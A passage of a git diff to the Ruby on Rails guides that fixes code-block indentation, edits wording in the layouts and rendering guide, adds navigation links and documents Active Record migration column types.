@@ -929,11 +930,11 @@ h4. +activesupport/lib/action_dispatch.rb+ This file attempts to locate the +active_support+ and +active_model+ libraries by looking a couple of directories back from the current file and then adds the +active_support+ and +active_model+ +lib+ directories to the load path, but only if they aren't already, which they are. <ruby> - activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__) - $:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path) +activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__) +$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path) - activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__) - $:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path) +activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__) +$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path) </ruby> In effect, these lines only define the +activesupport_path+ and +activemodel_path+ variables and nothing more. @@ -941,23 +942,23 @@ In effect, these lines only define the +activesupport_path+ and +activemodel_pat The next two requires in this file are already done, so they are not run: <ruby> - require 'active_support' - require 'active_support/dependencies/autoload' +require 'active_support' +require 'active_support/dependencies/autoload' </ruby> The following require is to +action_pack+ (+activesupport/lib/action_pack.rb+) which has a 22-line copyright notice at the top of it and ends in a simple require to +action_pack/version+. This file, like other +version.rb+ files before it, defines the +ActionPack::VERSION+ constant: <ruby> - module ActionPack - module VERSION #:nodoc: - MAJOR = 3 - MINOR = 1 - TINY = 0 - PRE = "beta" - - STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') - end +module ActionPack + module VERSION #:nodoc: + MAJOR = 3 + MINOR = 1 + TINY = 0 + PRE = "beta" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end +end </ruby> Once +action_pack+ is finished, then +active_model+ is required. @@ -967,16 +968,16 @@ h4. +activemodel/lib/active_model.rb+ This file makes a require to +active_model/version+ which defines the version for Active Model: <ruby> - module ActiveModel - module VERSION #:nodoc: - MAJOR = 3 - MINOR = 1 - TINY = 0 - PRE = "beta" - - STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') - end +module ActiveModel + module VERSION #:nodoc: + MAJOR = 3 + MINOR = 1 + TINY = 0 + PRE = "beta" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end +end </ruby> Once the +version.rb+ file is loaded, the +ActiveModel+ module has its autoloaded constants defined as well as a sub-module called +ActiveModel::Serializers+ which has autoloads of its own. When the +ActiveModel+ module is closed the +active_support/i18n+ file is required. @@ -986,15 +987,15 @@ h4. +activesupport/lib/active_support/i18n.rb+ This is where the +i18n+ gem is required and first configured: <ruby> - begin - require 'i18n' - require 'active_support/lazy_load_hooks' - rescue LoadError => e - $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install" - raise e - end +begin + require 'i18n' + require 'active_support/lazy_load_hooks' +rescue LoadError => e + $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install" + raise e +end - I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml" +I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml" </ruby> In effect, the +I18n+ module first defined by +i18n_railtie+ is extended by the +i18n+ gem, rather than the other way around. This has no ill effect. They both work on the same way. @@ -1012,9 +1013,9 @@ h4. Back to +activesupport/lib/action_dispatch.rb+ The remainder of this file requires the +rack+ file from the Rack gem which defines the +Rack+ module. After +rack+, there's autoloads defined for the +Rack+, +ActionDispatch+, +ActionDispatch::Http+, +ActionDispatch::Session+. A new method called +autoload_under+ is used here, and this simply prefixes the files where the modules are autoloaded from with the path specified. For example here: <ruby> - autoload_under 'testing' do - autoload :Assertions - ... +autoload_under 'testing' do + autoload :Assertions +... </ruby> The +Assertions+ module is in the +action_dispatch/testing+ folder rather than simply +action_dispatch+. @@ -1046,25 +1047,25 @@ This file begins by detecting if the +lib+ directories of +active_support+ and + The first three requires have already been done by other files and so aren't loaded here, but the 4th require, the one to +arel+ will require the file provided by the Arel gem, which defines the +Arel+ module. <ruby> - require 'active_support' - require 'active_support/i18n' - require 'active_model' - require 'arel' +require 'active_support' +require 'active_support/i18n' +require 'active_model' +require 'arel' </ruby> The 5th require in this file is one to +active_record/version+ which defines the +ActiveRecord::VERSION+ constant: <ruby> - module ActiveRecord - module VERSION #:nodoc: - MAJOR = 3 - MINOR = 1 - TINY = 0 - PRE = "beta" - - STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') - end +module ActiveRecord + module VERSION #:nodoc: + MAJOR = 3 + MINOR = 1 + TINY = 0 + PRE = "beta" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end +end </ruby> Once these requires are finished, the base for the +ActiveRecord+ module is defined along with its autoloads. @@ -1072,9 +1073,9 @@ Once these requires are finished, the base for the +ActiveRecord+ module is defi Near the end of the file, we see this line: <ruby> - ActiveSupport.on_load(:active_record) do - Arel::Table.engine = self - end +ActiveSupport.on_load(:active_record) do + Arel::Table.engine = self +end </ruby> This will set the engine for +Arel::Table+ to be +ActiveRecord::Base+. @@ -1082,7 +1083,7 @@ This will set the engine for +Arel::Table+ to be +ActiveRecord::Base+. The file then finishes with this line: <ruby> - I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml' +I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml' </ruby> This will add the translations from +activerecord/lib/active_record/locale/en.yml+ to the load path for +I18n+, with this file being parsed when all the translations are loaded. @@ -1092,8 +1093,8 @@ h4. Back to +activerecord/lib/active_record/railtie.rb+ The next two <tt>require</tt>s in this file aren't run because their files are already required, with +rails+ being required by +rails/all+ and +active_model/railtie+ being required from +action_dispatch+. <ruby> - require "rails" - require "active_model/railtie" +require "rails" +require "active_model/railtie" </ruby> The next +require+ in this file is to +action_controller/railtie+. @@ -1103,9 +1104,9 @@ h4. +actionpack/lib/action_controller/railtie.rb+ This file begins with a couple more requires to files that have already been loaded: <ruby> - require "rails" - require "action_controller" - require "action_dispatch/railtie" +require "rails" +require "action_controller" +require "action_dispatch/railtie" </ruby> However the require after these is to a file that hasn't yet been loaded, +action_view/railtie+, which begins by requiring +action_view+. diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 5dcac8e74c..4c979888b7 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -5,7 +5,7 @@ <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title> +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" /> @@ -71,6 +71,7 @@ <dd><a href="configuring.html">Configuring Rails Applications</a></dd> <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd> <dt>Extending Rails</dt> <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> @@ -83,13 +84,14 @@ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd> <dt>Release Notes</dt> + <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd> <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd> <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd> <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd> </dl> </div> </li> - <li><a href="contribute.html">Contribute</a></li> + <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> <li><a href="credits.html">Credits</a></li> </ul> </div> @@ -127,6 +129,10 @@ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> <p>And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>. </p> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index d67668df91..df7b9b364c 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -90,11 +90,11 @@ If we want to display the properties of all the books in our view, we can do so <%= link_to 'New book', new_book_path %> </ruby> -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). h4. Using +render+ -In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customise the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. +In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. @@ -123,7 +123,7 @@ Cache-Control: no-cache $ </shell> -We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgement that the request was completed. +We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed. TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. @@ -334,7 +334,7 @@ render :status => 500 render :status => :forbidden </ruby> -Rails understands both numeric status codes and symbols for status codes. +Rails understands both numeric and symbolic status codes. h6. The +:location+ Option @@ -348,9 +348,9 @@ h5. Finding Layouts To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. -h6. Specifying Layouts on a per-Controller Basis +h6. Specifying Layouts for Controllers -You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: +You can override the default layout conventions in your controllers by using the +layout+ declaration. For example: <ruby> class ProductsController < ApplicationController @@ -359,9 +359,9 @@ class ProductsController < ApplicationController end </ruby> -With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. +With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. -To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: +To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class: <ruby> class ApplicationController < ActionController::Base @@ -370,7 +370,7 @@ class ApplicationController < ActionController::Base end </ruby> -With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. +With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. h6. Choosing Layouts at Runtime @@ -392,9 +392,9 @@ class ProductsController < ApplicationController end </ruby> -Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: +Now, if the current user is a special user, they'll get a special layout when viewing a product. -You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example: +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request: <ruby> class ProductsController < ApplicationController @@ -404,7 +404,7 @@ end h6. Conditional Layouts -Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller: +Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller: <ruby> class ProductsController < ApplicationController @@ -416,7 +416,7 @@ With this declaration, the +product+ layout would be used for everything but the h6. Layout Inheritance -Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: +Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: * +application_controller.rb+ @@ -495,9 +495,9 @@ def show end </ruby> -Make sure you use +and return+ and not +&& return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language. +Make sure to use +and return+ and not +&& return+, since +&& return+ will not work due to the operator precedence in the Ruby Language. -Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors: +Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors: <ruby> def show @@ -515,10 +515,10 @@ h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: <ruby> -redirect_to photos_path +redirect_to photos_url </ruby> -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from: <ruby> redirect_to :back @@ -526,7 +526,7 @@ redirect_to :back h5. Getting a Different Redirect Status Code -Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option: +Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option: <ruby> redirect_to photos_path, :status => 301 @@ -536,7 +536,7 @@ Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts h5. The Difference Between +render+ and +redirect_to+ -Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. +Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. Consider these actions to see the difference: @@ -553,7 +553,7 @@ def show end </ruby> -With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: +With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering: <ruby> def index @@ -570,9 +570,9 @@ end With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. -The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. -While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be: +While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: <ruby> def index @@ -588,7 +588,7 @@ def show end </ruby> -Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened. +This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened. h4. Using +head+ To Build Header-Only Responses @@ -598,7 +598,7 @@ The +head+ method can be used to send responses with only headers to the browser head :bad_request </ruby> -Which would produce the following header: +This would produce the following header: <shell> HTTP/1.1 400 Bad Request @@ -611,7 +611,7 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache </shell> -Or you can use other HTTP headers to convey additional information: +Or you can use other HTTP headers to convey other information: <ruby> head :created, :location => photo_path(@photo) @@ -633,15 +633,15 @@ Cache-Control: no-cache h3. Structuring Layouts -When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: +When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: * Asset tags * +yield+ and +content_for+ * Partials -h4. Asset Tags +h4. Asset Tag Helpers -Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails: +Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails: * +auto_discovery_link_tag+ * +javascript_include_tag+ @@ -650,11 +650,11 @@ Asset tags provide methods for generating HTML that links views to feeds, JavaSc * +video_tag+ * +audio_tag+ -You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. +You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +<head>+ section of a layout. -WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. +WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with +auto_discovery_link_tag+ +h5. Linking to Feeds with the +auto_discovery_link_tag+ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: @@ -663,13 +663,13 @@ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsread {:title => "RSS Feed"}) %> </erb> -There are three tag options available for +auto_discovery_link_tag+: +There are three tag options available for the +auto_discovery_link_tag+: -* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:rel+ specifies the +rel+ value in the link. The default value is "alternate". * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* +:title+ specifies the title of the link +* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS". -h5. Linking to JavaScript Files with +javascript_include_tag+ +h5. Linking to JavaScript Files with the +javascript_include_tag+ The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: @@ -738,7 +738,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to CSS Files with +stylesheet_link_tag+ +h5. Linking to CSS Files with the +stylesheet_link_tag+ The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+: @@ -764,7 +764,7 @@ To include +http://example.com/main.css+: <%= stylesheet_link_tag "http://example.com/main.css" %> </erb> -By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): +By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): <erb> <%= stylesheet_link_tag "main_print", :media => "print" %> @@ -797,7 +797,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to Images with +image_tag+ +h5. Linking to Images with the +image_tag+ The +image_tag+ helper builds an HTML +<img />+ tag to the specified file. By default, files are loaded from +public/images+. @@ -846,7 +846,7 @@ In addition to the above special tags, you can supply a final hash of standard H :class => 'nav_bar' %> </erb> -h5. Linking to Videos with +video_tag+ +h5. Linking to Videos with the +video_tag+ The +video_tag+ helper builds an HTML 5 +<video>+ tag to the specified file. By default, files are loaded from +public/videos+. @@ -882,7 +882,7 @@ This will produce: <video><source src="trailer.ogg" /><source src="movie.ogg" /></video> </erb> -h5. Linking to Audio files with +audio_tag+ +h5. Linking to Audio Files with the +audio_tag+ The +audio_tag+ helper builds an HTML 5 +<audio>+ tag to the specified file. By default, files are loaded from +public/audios+. @@ -933,7 +933,7 @@ You can also create a layout with multiple yielding regions: The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. -h4. Using +content_for+ +h4. Using the +content_for+ Method The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw: @@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: +In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. + +<erb> +<h1>Products</h1> +<%= render(@products) || 'There are no products available.' %> +</erb> + * +index.html.erb+ <erb> @@ -1179,23 +1186,11 @@ On pages generated by +NewsController+, you want to hide the top menu and add a <% end %> <% content_for :content do %> <div id="right_menu">Right menu items here</div> - <%= yield(:news_content) or yield %> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> <% end %> <%= render :template => 'layouts/application' %> </erb> That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +yield(:news_content) or yield+ with simply +yield+. - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index d60b68ec7f..23e36b39f9 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -17,7 +17,7 @@ endprologue. h3. Anatomy of a Migration -Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: +Before we dive into the details of a migration, here are a few examples of the sorts of things you can do: <ruby> class CreateProducts < ActiveRecord::Migration @@ -55,6 +55,8 @@ class AddReceiveNewsletterToUsers < ActiveRecord::Migration end </ruby> +NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. + This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered to have already opted in, so we use the User model to set the flag to +true+ for existing users. @@ -73,11 +75,9 @@ class CreateProducts < ActiveRecord::Migration end </ruby> -NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. - h4. Migrations are Classes -A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them). +A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two methods: +up+ (perform the required transformations) and +down+ (revert them). Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): @@ -91,13 +91,13 @@ Active Record provides methods that perform common data definition tasks in a da * +add_index+ * +remove_index+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. h4. What's in a Name -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. +Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+. @@ -115,13 +115,40 @@ h4. Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense. +In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless. + +h4. Supported Types + +Active Record supports the following types: + +* +:primary_key+ +* +:string+ +* +:text+ +* +:integer+ +* +:float+ +* +:decimal+ +* +:datetime+ +* +:timestamp+ +* +:time+ +* +:date+ +* +:binary+ +* +:boolean+ + +These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example + +<ruby> +create_table :products do |t| + t.column :name, 'polygon', :null => false +end +</ruby> + +This may however hinder portability to other databases. h3. Creating a Migration h4. Creating a Model -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running +The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running <shell> $ rails generate model Product name:string description:text @@ -235,7 +262,7 @@ end which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). -The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like +The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like <ruby> create_table :products do |t| @@ -243,7 +270,7 @@ create_table :products do |t| end </ruby> -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. +The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. <ruby> create_table :products do |t| @@ -251,7 +278,7 @@ create_table :products do |t| end </ruby> -By default 